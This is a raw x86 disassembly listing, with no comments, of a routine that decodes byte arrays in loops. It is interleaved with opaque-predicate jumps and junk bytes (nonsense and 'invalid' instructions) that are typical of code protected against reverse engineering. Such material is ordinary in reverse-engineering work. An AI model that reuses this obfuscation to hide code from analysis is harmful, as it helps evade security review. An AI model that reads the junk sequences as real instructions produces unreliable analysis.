xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
and ax, word [ebp - 0xa0]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
sub ax, cx
add ax, word [ebp - 0xb4]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x2aa], cx
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x30
jb 0x100f3d30
lea eax, [ebp - 0x2aa]
mov byte [ebp - 0x2ac], 1
push eax
lea ecx, [ebp - 0x44]
call fcn.100f07a0
movups xmm0, xmmword [0x101447c4]
mov dword [ebp - 4], 0
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0xf
movsd xmm0, qword [0x101448e0]
movsd qword [ebp - 0x9c], xmm0
movsd xmm0, qword [0x101448d8]
movsd qword [ebp - 0xb0], xmm0
movsd xmm0, qword [0x101448d0]
movsd qword [ebp - 0xe4], xmm0
movsd xmm0, qword [0x101448c8]
movsd qword [ebp - 0xdc], xmm0
jae 0x100f56d4
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xd4], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f4cfa
xor eax, eax
je 0x100f4ac7
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xbc], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4b5b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4b5b
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f4bcd
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4bd0
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f4bd5
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4c5d
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f4c5d
mov dword [ebp - 0x94], 3
jmp 0x100f4ccc
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4ccc
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0x12f], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xd4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5463
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f4f79
xor eax, eax
je 0x100f4d44
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
inc esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xbc], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4dd7
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4dd7
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f4e4c
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4e4f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f4e54
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4edc
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f4edc
mov dword [ebp - 0x8c], 3
jmp 0x100f4f4b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4f4b
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0x12f], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f51d5
xor eax, eax
je 0x100f4f9e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xc0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f502e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f502e
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f50a3
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f50a6
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xc0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f50ab
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xc0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f515d
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f515d
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0x12f], cl
jmp 0x100f51e0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f512a
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xc0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f512d
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f545d
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xbc], eax
xor eax, eax
je 0x100f5222
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xbc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xc0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f52b1
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f52b1
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f5329
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f532c
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xc0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xbc], eax
xor eax, eax
je 0x100f533d
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xbc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xc0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f53c6
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f53c6
mov dword [ebp - 0x7c], 3
jmp 0x100f5435
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5435
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xc0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0x12f], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f56c3
xor eax, eax
je 0x100f548b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
inc esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xbc], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f551e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f551e
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f5593
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5596
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f559b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5623
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f5623
mov dword [ebp - 0xa0], 3
jmp 0x100f5692
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5692
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0x12f]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x12f], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xf
jb 0x100f4aa0
push dword [ebp - 0xc8]
lea eax, [ebp - 0x324]
mov byte [ebp - 0x130], 1
push eax
call fcn.1013db90
add esp, 8
mov dword [ebp - 0xd4], eax
movq xmm0, qword [0x101447b8]
mov cx, word [0x101447c0]
movq qword [ebp - 0xfc], xmm0
mov word [ebp - 0xf4], cx
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 9
mov byte [ebp - 4], 1
jae 0x100f63b4
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xbc], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f59da
xor eax, eax
je 0x100f57a7
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xc8], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f583b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f583b
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f58ad
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f58b0
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f58b5
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f593d
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f593d
mov dword [ebp - 0x94], 3
jmp 0x100f59ac
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f59ac
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
